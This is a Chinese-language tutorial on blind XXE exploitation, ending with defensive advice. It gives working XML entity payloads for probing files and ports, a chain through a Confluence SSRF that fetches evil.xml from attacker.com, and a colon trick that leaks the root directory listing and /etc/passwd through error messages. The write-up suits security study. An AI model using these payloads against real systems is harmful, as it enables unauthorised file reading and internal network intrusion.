从 blind XXE 到读取根目录文件
字数 1338 2025-08-27 12:33:37

Blind XXE漏洞利用:从探测到读取根目录文件

1. XXE漏洞基础

XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵XML处理器的外部实体处理功能来读取文件、执行服务器端请求伪造(SSRF)等操作。

1.1 基本XXE攻击

基本XXE攻击通常包含以下结构:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

2. Blind XXE漏洞发现

2.1 初始探测

通过观察服务器对不同XML输入的响应来识别XXE漏洞:

  1. 无效XML测试

    <xml version="abc" ?><Doc/>
    

    服务器响应表明它处理XML输入但版本不支持。

  2. 有效XML测试

    <?xml version="1.0" ?><Doc/>
    

    响应表明需要认证。

2.2 外部实体测试

尝试加载外部实体:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://attacker.com/x">
%ext;
]>
<r></r>
  • 如果服务器解析了外部实体但被防火墙阻止,可能表现为延迟或超时
  • 无HTTP请求到达攻击者服务器表明出站流量被阻止

3. Blind XXE利用技术

3.1 文件存在性检测

通过错误消息差异判断文件是否存在:

  1. 文件存在时

    <!ENTITY % ext SYSTEM "file:///etc/passwd">
    

    响应:The markup declarations contained or pointed to by the document type declaration must be well-formed.

  2. 文件不存在时

    <!ENTITY % ext SYSTEM "file:///nonexistent">
    

    响应:No such file or directory

3.2 内部端口扫描

通过协议错误检测开放端口:

<!ENTITY % ext SYSTEM "http://localhost:22/">

响应Invalid Http response表明端口开放但服务不返回有效HTTP响应。

3.3 协议探测

测试支持的协议:

<!ENTITY % ext SYSTEM "gopher://localhost/">

错误消息会返回不支持的协议名称。

4. 利用内部服务绕过限制

4.1 识别内部易受攻击服务

通过已知内部域名枚举:

  • wiki.company.internal
  • jira.company.internal
  • confluence.company.internal

4.2 利用Confluence的SSRF漏洞

Confluence的OAuth插件存在SSRF漏洞,可用来代理请求:

<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://attacker.com/evil.xml">

5. 文件内容读取技术

5.1 目录列表读取

evil.xml内容:

<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

攻击请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.../evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应会显示根目录内容。

5.2 文件内容读取技巧

对于包含冒号的文件(如/etc/passwd),在内容前添加冒号:

evil.xml修改为:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

这会触发no protocol错误并显示完整文件内容。

6. Java SAX解析器特性

  • 访问目录时会返回目录列表
  • 错误消息可能泄露多行响应
  • 现代Java版本限制多行文件作为外部HTTP请求导出

7. 防御建议

7.1 开发人员

  1. 禁用外部实体处理:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 使用安全的XML处理器配置

7.2 系统管理员

  1. 及时修补内部服务器
  2. 实施适当的网络分隔
  3. 限制内部服务器间的通信
  4. 将详细错误信息写入日志而非HTTP响应

8. 漏洞利用流程总结

  1. 识别XML处理端点
  2. 测试基本XXE是否可行
  3. 当遇到blind情况时,通过错误差异探测文件/端口
  4. 寻找内部易受攻击服务作为代理
  5. 利用代理服务绕过限制读取敏感数据

9. 关键点回顾

  1. 错误消息分析:不同响应是blind XXE的关键
  2. 内部服务利用:未修补的内部服务可作为代理
  3. Java特性:目录访问和错误处理方式可被利用
  4. 协议技巧:在内容前添加冒号可绕过协议解析限制
  5. 网络分隔不足:内部网络不应被视为完全可信
Blind XXE漏洞利用:从探测到读取根目录文件 1. XXE漏洞基础 XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵XML处理器的外部实体处理功能来读取文件、执行服务器端请求伪造(SSRF)等操作。 1.1 基本XXE攻击 基本XXE攻击通常包含以下结构: 2. Blind XXE漏洞发现 2.1 初始探测 通过观察服务器对不同XML输入的响应来识别XXE漏洞: 无效XML测试 : 服务器响应表明它处理XML输入但版本不支持。 有效XML测试 : 响应表明需要认证。 2.2 外部实体测试 尝试加载外部实体: 如果服务器解析了外部实体但被防火墙阻止,可能表现为延迟或超时 无HTTP请求到达攻击者服务器表明出站流量被阻止 3. Blind XXE利用技术 3.1 文件存在性检测 通过错误消息差异判断文件是否存在: 文件存在时 : 响应: The markup declarations contained or pointed to by the document type declaration must be well-formed. 文件不存在时 : 响应: No such file or directory 3.2 内部端口扫描 通过协议错误检测开放端口: 响应 Invalid Http response 表明端口开放但服务不返回有效HTTP响应。 3.3 协议探测 测试支持的协议: 错误消息会返回不支持的协议名称。 4. 利用内部服务绕过限制 4.1 识别内部易受攻击服务 通过已知内部域名枚举: wiki.company.internal jira.company.internal confluence.company.internal 4.2 利用Confluence的SSRF漏洞 Confluence的OAuth插件存在SSRF漏洞,可用来代理请求: 5. 文件内容读取技术 5.1 目录列表读取 evil.xml内容: 攻击请求: 响应会显示根目录内容。 5.2 文件内容读取技巧 对于包含冒号的文件(如/etc/passwd),在内容前添加冒号: evil.xml修改为: 这会触发 no protocol 错误并显示完整文件内容。 6. Java SAX解析器特性 访问目录时会返回目录列表 错误消息可能泄露多行响应 现代Java版本限制多行文件作为外部HTTP请求导出 7. 防御建议 7.1 开发人员 禁用外部实体处理: 使用安全的XML处理器配置 7.2 系统管理员 及时修补内部服务器 实施适当的网络分隔 限制内部服务器间的通信 将详细错误信息写入日志而非HTTP响应 8. 漏洞利用流程总结 识别XML处理端点 测试基本XXE是否可行 当遇到blind情况时,通过错误差异探测文件/端口 寻找内部易受攻击服务作为代理 利用代理服务绕过限制读取敏感数据 9. 关键点回顾 错误消息分析 :不同响应是blind XXE的关键 内部服务利用 :未修补的内部服务可作为代理 Java特性 :目录访问和错误处理方式可被利用 协议技巧 :在内容前添加冒号可绕过协议解析限制 网络分隔不足 :内部网络不应被视为完全可信